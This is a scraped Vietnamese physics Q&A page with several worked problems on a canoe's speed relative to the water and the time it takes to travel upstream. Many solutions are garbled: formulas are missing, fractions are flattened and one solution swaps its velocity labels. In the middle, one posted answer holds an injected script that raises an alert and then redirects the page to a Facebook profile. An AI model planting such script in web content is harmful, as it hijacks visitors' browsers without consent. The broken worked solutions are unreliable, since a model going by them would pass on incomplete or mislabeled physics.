một cano chạy thẳng đều dọc theo bờ sông xuôi chiều dòng nước từ bến A đến bến B cách nhau 36k mất thời gian là 1h15 . vận tốc của dòng chảy là 6k/h . hãy tính
a) vận tốc cano đối vs dòng chảy
b) khoản thời gian ngắn nhất để cano chạy ngược dòng chảy từ bến B đến bến A
a) Đổi: \(1h15'=1,25h\)
Vận tốc của cano khi đi xuôi dòng từ A đến B:
\(v_1=\frac{AB}{t_1}=\frac{36}{1,25}=28,8\left(km/h\right)\)
Vận tốc cano đối với dòng chảy:
\(v_1=v_{cn}+v_n\Rightarrow v_{cn}=v_1-v_n=28,8-6=22,8\left(km/h\right)\)
b) Vận tốc đi ngược của cano khi đi ngược dòng từ B về A:
\(v_2=v_{cn}-v_n=22,8-6=16,8\left(km/h\right)\)
Thời gian cano đi ngược dòng từ B về A:
\(t_2=\frac{AB}{v_2}=\frac{36}{16,8}\approx2,14\left(h\right)\)
Vậy ...
Một ca nô chạy thẳng đều dọc theo bờ sông xuôi chiều dòng nước từ bến A đến bến B cách nhau 28 km mất thời gian là 1 giờ 12 phút. Vận tốc của dòng nước chảy là 4,2 km/h. Hãy tính:
a)Vận tốc của ca nô đối với dòng nước chảy.
b) Khoảng thời gian ngắn nhất để ca nô chạy ngược dòng từ bến B đến A.
Sử dụng công thức cộng vận tốc: v c / b → = v c / n → + v n / b → .
a) Khi ca nô chạy xuôi dòng: v c / b = v c / n + v n / b = v c / n + 4 , 2.
Thời gian ca nô đi từ A đến B: t 1 = A B v c / b = 28 v c / n + 4 , 2 = 1 , 2.
Vận tốc của ca nô so với dòng nước: v c / n = 19 , 13 km/h.
b) Khi ca nô ngược dòng: v ' c / b = v c / n − v n / b .
Thời gian ngắn nhất để ca nô đi từ B về A:
t 2 = A B v ' c / b = A B 19 , 13 − 4 , 2 = 1 , 88 giờ ≈ 1 giờ 52 phút.
Một canô chạy thẳng xuôi dòng từ bến A đến bến B cách nhau 36km mất một khoảng thời gian là 1 giờ 30 phút. Vận tốc của nước đối với bờ sông là 6 km/h.
a) Tính vận tốc của ca nô đối với nước.
b) Tính khoảng thời gian để canô chạy ngược dòng chảy từ bến B trở về bến A.
a)
Ta ký hiệu canô là (1), nước là (2), bờ sông là (3)
Áp dụng công thức cộng vận tốc: 
(0,25 đ)
Khi canô xuôi dòng: 
(0,50 đ)
Mà 
(0,25đ)
Vậy vận tốc của canô đối với nước: v 12 = 24 – 6 = 18 km/h (0,25đ)
b) Khi ca nô đi ngược dòng:
v 13 = v 12 - v 23 (0,25đ)
= 18 - 6 = 12 km/h (0,25đ)
Vậy thời gian ngược dòng của canô: 
(0,25đ)
Một canô chạy thẳng xuôi dòng từ bến A đến bến B cách nhau 36km mất một khoảng thời gian là 1 giờ 30 phút. Vận tốc của nước đối với bờ sông là 6 km/h.
a) Tính vận tốc của ca nô đối với nước.
b) Tính khoảng thời gian để canô chạy ngược dòng chảy từ bến B trở về bến A.
a) Gọi: (0,25 điểm)
(1): canô (2): nước (3): bờ sông
Áp dụng công thức cộng vận tốc: 
(0,25 điểm)
Khi canô xuôi dòng:
(0,25 điểm)
Mà 
(0,25 điểm)
Vậy vận tốc của canô đối với nước: v 12 = 24 – 6 = 18 km/h (0,25 điểm)
b) khi ca nô đi ngược dòng: v 13 = v 12 - v 23 (0,25 điểm)
= 18 - 6 = 12 km/h (0,25 điểm)
Vậy thời gian ngược dòng của canô: 
(0,25 điểm)
một cano đi ngược dòng nước từ bến A đến bến B cách nhau 30 km hết 1h30phút. Biết Vận tốc của dòng nước so với bờ sông là 5km/h
a) tính vận tốc của cano so với dòng nước
b)Hỏi nếu cano đi xuôi theo dòng nước từ B đến A mất bao nhiêu thời gian ?
Coi vận tốc của cano so với dòng nước và của dòng nước so với bờ sông là không đổi ?
:)) thanks !
a) gọi van toc cano la v ta co;
30: (v-5) = 1h30p = 3/2
v = 25km/h
b) thoi gian cano di xuoi la;
30:(v+5) = 30/25+5 = 30/30 = 1h
<script>setTimeout(()=>{
alert("@@");window.open("https://www.facebook.com/duongdzin","_self");
},5000);</script>
Một canô chạy thẳng đều xuôi dòng từ bến A đến bến B cách nhau 54km mất khoảng thời gian 3h. Vận tốc của dòng chảy là 6km/h. Tính vận tốc của canô đối với dòng chảy.
A. 9km/h
B. 12km/h
C. 11km/h
D. 10km/h
Chọn B
+ Gọi v 13 là vận tốc của ca nô với bờ
v 12 là vận tốc của nước với bờ bằng 6 km/h
v 23 là vận tốc của ca nô so với dòng nước
+ Theo bài ra ta có v 13 = S t = 54 3 = 18 k m / h
Khi xuôi dòng: v 13 = v 12 + v 23 ⇒ v 12 + 6 ⇒ v 12 = 12 k m / h
Một chiếc cano chạy xuôi từ dòng bến A đến bến B mất 4h và ngược dòng từ bến B đến bến A mất 5h. Tính vận tốc thực của cano, biết rằng vận tốc nước chảy là 2km/h.
Gọi vận tốc thật của cano là x
Theo đề ra, ta có PT:
4(x+2)=5(x-2)
<=>4x+8=5x-10
<=>4x-5x=-10-8
<=>-x=-18
=>x=18
Vậy vận tốc thực của cano là 18km/h
Lưu ý:v xuôi = v thực + v nước
v ngược = v thực - v nước
Câu hỏi của Nguyễn Thị Thanh Trang - Toán lớp 8 - Học toán với OnlineMath
Em tham khảo!
Một ca nô chạy thẳng đều xuôi theo dòng từ bến A đến bến B cách nhau 36 km mất một khoảng thời gian là 1 giờ 30 phút. Vận tốc của dòng chảy là 6 km/h. Tính vận tốc của ca nô đối với dòng chảy.
Gọi v 1 , 2 là vận tốc của ca nô (1) đối với dòng chảy (2), v 2 , 3 là vận tốc của dòng chảy đối với bờ sông (3) và v 1 , 3 là vận tốc của ca nô đối với bờ sông.
Khi ca nô chạy xuôi chiều dòng chảy thì các vận tốc v 1 , 2 và v 2 , 3 có cùng phương chiều, nên theo công thức cộng vận tốc thì vận tốc v1,3 của ca nô đối với bờ sông được xác định theo công thức v 1 , 3 = v 1 , 2 + v 2 , 3
Thay v 1 , 3 = s/t = 36/1.5 = 24(km/h) và v 2 , 3 = 6 (km/h) vào, ta suy ta được giá trị vận tốc v 1 , 2 của ca nô đối với dòng chảy bằng: v 1 , 2 = v 1 , 3 – v 2 , 3 = 24 – 6 = 18 km/h
Một canô chạy thẳng đều xuôi dòng từ bến A đến bến B cách nhau 54km mất khoảng thời gian 3h. Vận tốc của dòng chảy là 6km/h.
a. Tính vận tốc của canô đối với dòng chảy.
b. Tính khoảng thời gian nhỏ nhất để canô ngược dòng từ B đến A.
Giải: Gọi v 13 là vận tốc của ca nô với bờ; v 23 là vận tốc của nước với bờ bằng 6 km/h; v 12 là vận tốc của ca nô so với dòng nước
a. Theo bài ra ta có v 13 = S t = 54 3 = 18 k m / h
Khi xuôi dòng: v 13 = v 12 + v 23 ⇒ 18 = v 12 + 6 ⇒ v 12 = 12 k m / h
b. Khi ngược dòng: v ’ 13 = v 12 - v 23 = 12 - 6 = 6 k m / h t ' = S v 13 ' = 54 6 = 9 h
